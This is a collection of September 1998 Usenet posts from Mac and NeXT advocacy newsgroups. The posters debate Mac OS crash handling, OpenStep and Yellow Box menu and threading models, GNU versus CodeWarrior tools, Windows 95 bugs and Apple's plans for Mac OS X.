effect of a poor control implementation.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Date: Thu, 03 Sep 1998 21:33:33 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <mteh-ya02408000R0309982143290001@news.earthlink.net>,
mteh@earthlink.net (Oliver Ming-Teh Sun) wrote:
> Contrary to the beliefs of some individuals, not all app crashes will bring
> down the Mac OS. In addition, what good is it to have your OS still
> running when you lose the app you're working in (and whatever doc you were
> working on)?
Geez, you MUST be a mac jihad.
In openstep, occasionally their would be crashes. Say omniweb would just
quit. Ok I have to open up omniweb again, but all the articles in
radicalnews are still open, and my letter to my grandma in OpenWrite is
still their
On the mac, netscape freezes, I have to restart which takes several
minutes, plus I have lost the unread status of articles I have read, plus
my letter to grandma is gone. Just having to restart and then redial my
isp is a pain
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 1998 22:59:23 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6shu8b$e2b$3@sibyl.sunrise.ch>
References: <6sfd3d$adq$2@msunews.cl.msu.edu> <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com> <6sf3f2$l87$1@news.spacelab.net>
In Re: CSNA dead? comp.sys.next.advocacy spammers@ruin.the.internet.channelu.com writes,
> In <6sf3f2$l87$1@news.spacelab.net> "Charles W. Swiger" wrote:
>> Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
>> >spammers@ruin.the.internet.channelu.com writes
>> >> I very much value Don Yacktman, Scott Anguish, Charles Swinger
>> > ^^^^^^^
>> >Secret's out, Chuck. Hope your SO doesn't read this group. 8^)
>>
>> Psshaw! Greg, you're just jealous because nobody's managed to
> creatively
>> misspell your last name (yet!)....
>>
>
> Yeah well you should hear people try to pronounce Rencsok. You can't
> imagine
> what people will come up with when they try to add a consonant sound
> that doen't quite fit
> in the middle of something that just works by itself.
>
> Forget spelling .. :)
>
> Randy
> rencsok
hehe! what about Marmier. That's a real killer for english speaking folk. :))
try it and send me your *.snd over. The first 3 win a beer in Geneva.
have fun!
Raph
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 3 Sep 1998 16:16:27 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6sn8a6$vae$1@nnrp1.snfc21.pbi.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net>
Maury Markowitz wrote in message ...
> I disagree. In fact I think this is another example of the kind of silly
>statements you make until you start using the tools. No one cares about
the
> tools Lawson, look haw fast people switched from MPW to Think to
CodeWarrior
>r (notably the last example). If the tool works, does the job, and offers
>leat advantages, people will switch.
*Just* on the subject of tools, and avoiding the YB debate for a
moment...
The problem with using the GNU tools is twofold--first, it's a matter
of who supports the tools? Part of what I'm paying Metrowerks for when
I buy the upgrade for my Codewarrior product is for them to upgrade
their tools and fix bugs. In a sense I look at the payment to Metrowerks
as a form of "support contract". (And I switched from Think when it
seemed clear that Symantec's support of it's tools during the PowerPC
transition sucked compared to Metrowerks.)
The second problem is that while there are a lot of hard-core
hacker types who think the command-line interface is next to
godliness, I find hacking Makefiles distasteful. And so I prefer
the CW IDE over various GNU tools because the integrated
development environment is easier and faster for me to use
on 99.8% of my programming projects.
So the reason why I believe in this case that Larson is
correct is because people won't switch to the GNU tools if
they have a friendlier and better supported toolset. And
I don't think many companies will be comfortable developing
using the GNU tools regardless of the degree of "free"
support there is out there--they want to know there is a
company out there who is backing the tools.
- Bill Woody
The PandaWave
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
From: simonrb@dircon.co.uk (Simon Barker)
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <joe.ragosta-0309980827350001@wil31.dol.net>
MIME-Version: 1.0
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Message-ID: <35ef7112.0@newsread1.dircon.co.uk>
Date: 4 Sep 1998 05:48:18 -0100
On Thu, 03 Sep 1998 08:27:35 -0400, Joe Ragosta says...
>In article <qArH1.421$XE1.327550@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>>Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
>>
>>>>I don't know anyone that knows what the difference is between Win95 and
>>>>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>>>>single Win95 bug... can you?
>>>
>>>Err yeah you do if you read the documents that were with it, there are lots
>>of
>>>bugs in Windows *many* people are aware of, all you need do is look at
>>hotfixes
>>>and sp's and program updates etc of course they're mostly fixed now but
>>there
>>>still are bound to be many out there not fixed.
>>
>>I was talking about Win95, not NT. MS is very good at letting the user know
>>about the bugs that exist in NT by providing hotfixes... regardless of the
>>fact that most users do not experience the bugs that these hotfixes take
>>care of.
>
>Is _THAT_ what the hot fixes are for?
>
>I thought that MS had to release them every 6 months or so because the
>users were getting too good at working around existing bugs and they had
>to find a way to introduce new ones.
And let's throw in some more useless comments, anyone?
Date: Thu, 03 Sep 1998 12:03:51 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Message-ID: <christian.bau-0309981203510001@christian-mac.isltd.insignia.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> I'm not sure why nobody has suggested it before - but actually the whole
> thing can be faked: the system simply doesn't return clicks in the menu
> and instead handles it totally, when a menu is selected THEN it returns
> a mousedown, have the call to Findwindow return inMenuBar and then have
> MenuSelect return the appropriate menu. This could be done without
> changing a single line of the applications code (although of course it'd
> be easier to do by requiring a change, nor would that change be
> unnecessarily onerous - simply add a new menuEvt, I figure it'd take me
> maybe 5-10 minutes to make the appropriate changes to a application that
> uses GNE/WNE [not sure how long it'd take someone using PP or MacApp).
You have to do it a bit more complicated, but not much. Some programs
change menu items quite a lot (for example, the copy item is active only
if you have a selection etc.), but to improve speed, the changes are only
made when they detect a mouse click in the menu bar. So what you do to
fake it is this:
User clicks
OS reports mouse down in menubar
Application sets up all the menu items, calls MenuSelect
MenuSelect returns "nothing selected" immediately. Menu is still up.
Application runs while user selects menu item.
User selects menu item and releases mouse.
OS reports fake mouse down in menubar
Application sets up all the menu items, calls MenuSelect again
MenuSelect immediately returns what the user clicked earlier.
And of course, requiring a code change would be much cleaner. Send a new
AppleEvent - if the application doesnt handle it, fall back to the
original code, so all applications work, but new ones work better.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 02 Sep 1998 00:07:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6si282$pma$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <macghod-0109980043120001@sdn-ar-001casbarp011.dialsprint.net> <EyM4n2.Iyx@T-FCN.Net> <EyM7CI.M4B@T-FCN.Net>
In article <EyM7CI.M4B@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> While on the topic, I just saw on the Seybold demos that MacOS-X _WILL_
> rk fine with menus held down. They showed it. Phew.
Are there videos that we can see on the Web?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
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<rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com>
<forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com>
<35e9ab30.0@news.depaul.edu> <6trG1.2795$MS.6099945@news.rdc1.sdca.home.com>
<rmcassid-3108980023590001@dialin9062.slip.uci.edu>
Message-ID: <qy1H1.2931$MS.7264743@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 01:53:26 GMT
NNTP-Posting-Date: Tue, 01 Sep 1998 18:53:26 PDT
Organization: @Home Network
In <rmcassid-3108980023590001@dialin9062.slip.uci.edu> Robert Cassidy wrote:
> In article <6trG1.2795$MS.6099945@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> > Not Bullshit, OK. But the reference doesn't amount to much more than a
> > prayer of seeing SMP on MacOS X someday. They have said very little
ut
> > SMP, when they will deliver and with which version of MacOS X.
>
> I think it has been implied in several places (a hardware Q&A with
> Rubinstein comes to mind) that SMP would be right away. That Apple really
> does want and need to start shipping multi-CPU systems, and that doing so
> without SMP support in the OS is just dumb. I get the sense that it is
> rather high priority.
>
>
I just can't buy into the "feel good" on the basis of a sense of what someone
e implied. That they need to ship SMP is only your perception. Apple could
very well perceive SMP differently when the time comes to ship ver 1.0 of
acOS X.
-r
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 3 Sep 1998 20:13:12 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6smt8o$n2s$1@news.spacelab.net>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <EyppwC.485@T-FCN.Net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> The fact that OpenStep doesn't block is a historical accident of the
>> techture of the system, with the WindowServer and DPS being in different
>> ps". Other bits of the mouse handling indeed cause the system to block
>>the foreground, like scrolling. I really don't think this is that much
>> t.
The windowing system is not blocked when you're doing scrolling. Other apps
(or other windows) may continue drawing.
>Scrolling, can only logically be controlled by the application.
Agreed.
> Apple should be thinking about changing the YB event model so that each
> window has it's own thread and handles it's own events. The BeOS does this
> and it upsets me that, in the respect, the BeOS is far superior to
> OpenStep.
Each window does get the opportunity to handle its own events as a normal
part of the responder chain under YB. I strongly do not agree that the YB
should force every window to have a seperate thead. YB should support that
design if a developer wishes to do so, of course, but that's not the same
thing.
The major problem was that OPENSTEP didn't come with a thread-safe Appkit and
DPS drawing was not thread-safe either, so people wanting to do multithreaded
GUI apps had to provide their own mutex-locking around these resources.
If you consult the RDR2 release notes about thread support, you'll discover
that there is a lot more support for multithreaded applications and having
individual drawing contexts per thread under Rhapsody. While they still have
more work to do, it's clear that they mean to provide strong Appkit support
for the BeOS-like paradigm of "every window has a thread"....
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac fills replacement bill
Date: Thu, 03 Sep 1998 13:25:57 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0309981325580001@sdn-ar-001casbarp251.dialsprint.net>
References: <6shdfk$hba@bgtnsc03.worldnet.att.net> <6siea1$c8f$1@supernews.com> <joe.ragosta-0209980830360001@wil65.dol.net> <macghod-0209981431090001@1cust52.tnt1.santa-barbara.ca.da.uu.net> <joe.ragosta-0209982037550001@elk103.dol.net> <macghod-0209981832450001@1cust46.tnt1.santa-barbara.ca.da.uu.net> <joe.ragosta-0309980809230001@wil58.dol.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <joe.ragosta-0309980809230001@wil58.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >> > PS, this is a comment about Joe's sophistry, not a knock against the
> >> > imac. When I saw that sample from computerware, I was really impressed.
> >> > It would be nice if, say, CompUsa had all their stores sample
customers at
> >> > the cash register who buy a imac.
> >>
> >> So, IOW, what I said was correct, but you'll flame me over it, anyway.
> >
> >You mean a non valid sample of only 500 people in apple country will
> >correctly be the same figure for all imacs sold? Nope sorry Joe. Nice
> >try to change the subject tho. What I said was absolutely correct, you
> >tollk one sample of only 500 people in Apple country and then tried to
> >extrapolate (I think thats the correct word) it to every imac sold.
> >
> >You screwed up Joe, admit it.
>
> I'm not extrapolating anything. There are multiple sources that say the
> number of PC users buying iMacs is significant.
Great, then what are they? And lets hope they are statistically valid,
since you are claiming that %30 of all imac buyers are new mac users.
I have already commented that I think the non statistically valid
computerware study is awesome for the mac, I hope that %30 or more of all
imac buyers ARE new to the mac. Only thing is I have seen no such proof
of this. And I bet you havent either, and are just trying to cover your
mistake. Maybe we should nickname you "slick Joey"
OHHH, I like that, I think thats what I will start calling you, Slick Joey.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: "Brian Quinlan" <quinlan@intergate.bc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <christian.bau-0309981203510001@christian-mac.isltd.insignia.com>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 3 Sep 1998 23:53:19 -0700
Message-ID: <35ef8d3f.0@carrera>
Christian Bau wrote in message ...
> User clicks
> OS reports mouse down in menubar
> Application sets up all the menu items, calls MenuSelect
> MenuSelect returns "nothing selected" immediately. Menu is still up.
> Application runs while user selects menu item.
> User selects menu item and releases mouse.
> OS reports fake mouse down in menubar
> Application sets up all the menu items, calls MenuSelect again
> MenuSelect immediately returns what the user clicked earlier.
>
>And of course, requiring a code change would be much cleaner. Send a new
>AppleEvent - if the application doesnt handle it, fall back to the
>original code, so all applications work, but new ones
1) Neither John's suggesting nor your refinement work in the case where the
application is busy and not processing events.
2) Your refinement would not work if the state of the menu bar should
logically change while the menu is still being held down.
--
Brian Quinlan
quinlan@intergate.bc.cawork better.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Wed, 02 Sep 1998 12:24:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sjdd8$am7$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> spagiola@my-dejanews.com wrote:
> > Well, Steve's speech has come and gone, and not one peep on Mac OS X Server,
> > as far as I could tell. Yes, it was good to hear Adobe et al announce their
> > support for OS X, but that's over a year away. In the meantime, OS X Server
> > is supposed to be here imminently, and still not a word. Not on timing. Not
> > on pricing. Not on anything.
> > This is extremely discouraging...
>
> For what it's worth, WebObjects 4 will run on MacOS X Server. It was
> mentioned in the press release.
OK, so there's one mention, and an oblique one at that. But what of those
among us who have no plans to run WebObjects, as great an app as it might be,
and are anxiously awaiting MacOS X server so that we can get the advantages
of running great Yellow Box apps while maintaining our Mac apps through Blue
Box?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: eugene@cs.umb.edu
Organization: none
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
<EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net>
<EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
<Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com>
<6skt5a$147m1@odie.mcleod.net> <6smh3l$gld@sjx-ixn1.ix.netcom.com>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 17:14:15 GMT
In <6smh3l$gld@sjx-ixn1.ix.netcom.com> Eugene O'Neil wrote:
> In article <6skt5a$147m1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
>
> [several paragraphs of how Linux is great and BSD sucks deleted ]
>
> >YellowBox + Apple GUI on top of LINUX would appeal to the same users to
whom
> >LINUX currently appeals and Microsoft does not address. It might even
> >appeal to existing Mac users.
>
> You know who it wouldn't appeal to? All the Apple developers who have
already
> written thousands, if not millions of lines of code to run on top of BSD.
Also
> the legal department, who are more comfortable with the BSD license than
the
> GNU license.
Interesting points, and worthy of debate, but I'm unclear how much of an
issue these really are.
For one you don't really write code to run over BSD on YB. Clearly you
don't, as it runs under Win32 as well. The only ones that really get
effected here are the YB lib authors.
> As a Linux user, I find the prospect of MacOS-X far more appealing than the
> existing MacOS.
Me too, as a OpenStep user and former Mac user. The question for you
though is "is it interesting enough that you'd run it"?
> BSD isn't exactly identical to Linux, but it IS a perfectly
> decent implementation of Unix, and I am at least going to take it for a
test
> drive before I start bitching about how badly it sucks. What's your
problem,
> anyway? Apple does not need Linux to survive, just as Linux does not need
> Apple to survive. Learn to deal with it!
Whoa nelly - the message you're replying to is likely a "boiling down" of
the arguments seen here to date - I don't think they were really stating any
opinion one way or the other, aside from the interface related items.
Maury
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <35ee40da.0@nnrp1.news.uk.psi.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <NGOH1.480$Q9.398535@newsfeed.slurp.net>
Date: Fri, 04 Sep 1998 09:47:25 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 02:47:25 PDT
Organization: Slurp News Feeds
Richard Frith-Macdonald wrote in message
<35ee40da.0@nnrp1.news.uk.psi.net>...
>Of course most users can't give an example of a specific bug -
>they don't know how to isolate one - but they will be able to tell you that
>their system has crashed/hung and that their applications have acted in
>strange and unpredictable ways.
>Just because some behaviour is not readily reproducable, doesn't make it
any
>less of a bug.
Their is a world of difference between software bugs, and OS bugs. MS does
not pretend to tell you that it Win9x supports memory protection (for
example)... so if you computer crashes due to a stack overflow in Netscape,
this is not a Win95 bug.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <35eeee06.0@newsread1.dircon.co.uk>
Subject: Re: What we need from Mac OSuX
Message-ID: <LGOH1.479$Q9.398535@newsfeed.slurp.net>
Date: Fri, 04 Sep 1998 09:47:23 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 02:47:23 PDT
Organization: Slurp News Feeds
Simon Barker wrote in message <35eeee06.0@newsread1.dircon.co.uk>...
>>I was talking about Win95, not NT. MS is very good at letting the user
know
>>about the bugs that exist in NT by providing hotfixes... regardless of the
>>fact that most users do not experience the bugs that these hotfixes take
>>care of.
>
>I was refering to Win95, I used hotfix to save me the trouble of naming
some
>specific updates/bug fixes under Windows as essentially they are the same
>thing.
I was unaware that Win95 ever had a "hotfix"... are you sure you don't mean
"service pack"?
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6smevl$mcg@newsb.netnews.att.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <OGOH1.481$Q9.398535@newsfeed.slurp.net>
Date: Fri, 04 Sep 1998 09:47:26 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 02:47:26 PDT
Organization: Slurp News Feeds
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
<6smevl$mcg@newsb.netnews.att.com>...
>Some Microsoft shill wrote :
>
>>>> I don't know anyone that knows what the difference is between Win95 and
>>>> Win95 with service pack 1... nor can 95% of any Win95 user find or name
a
>>>> single Win95 bug... can you?
>
>Here are some of the fixes with service pack 1 (taken from
>PC Magazine, July 1996 v15 n13 p273)
I was talking about bugs the user has experienced. It's not important if
it's not effecting you personally.
Dan
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Should Apple buy Adobe?
Date: 4 Sep 1998 07:52:32 GMT
Organization: Idiom Communications
Message-ID: <6so680$2nn$1@news.idiom.com>
References: <01bdd765$985a37c0$06387880@chewy>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: todd@dev.null
"Todd Heberlein (todd at NetSQ dot com)" may or may not have said:
[snip]
-> Should Apple consider buying Adobe?
Yeah, that's what Apple needs: Another pack of arrogant, unmanageable
jerks like the crowd that nearly killed them with the Copland
debacle.
It's really very sad that Adobe's first customer made them so rich.
It gave them the idea that they can do no wrong.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: macghod@concentric.net
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<macghod-0109980043120001@sdn-ar-001casbarp011.dialsprint.net>
Mime-Version: 1.0
Date: Tue, 1 Sep 1998 16:04:14 GMT
In <macghod-0109980043120001@sdn-ar-001casbarp011.dialsprint.net> Steve
ivan wrote:
> Hey Maury, is that why when I use fc client, and say have a transfer
> going, and then open a new app, the transfer window will draw itself over
> the new app windows spash screen?
I can't say in that case (I remember that one too though), but the menu
de was only placed in the server IIRC. In fact the developer of that bit of
code used it as the basis of one of his "why didn't Apple change this in the
e last decade?" tirades.
Basically changes _were_ made to the menu manager such that higher-depth
isplay may indeed get a full cache/redraw backing like a window (not in the
Win manager, but same idea). It's only on smaller bit-depth screens that
is is an issue. It's almost certainly as it is such that the menu could be
quickly bitted to the screen instead of drawing it from QD code, thus
ng it up on early machines.
But once they made that change, the whole thing became silly. Basically
ll Macs can draw the menu just as fast as they can blit it (the iMac is what,
, 100 times as fast as the II 32 bit CQD came out on?). Thus it should (by
all indications) be an easy upgrade to call WNE from inside the menu manager,
, and indeed there are a few inits that patch this into existing OS versions
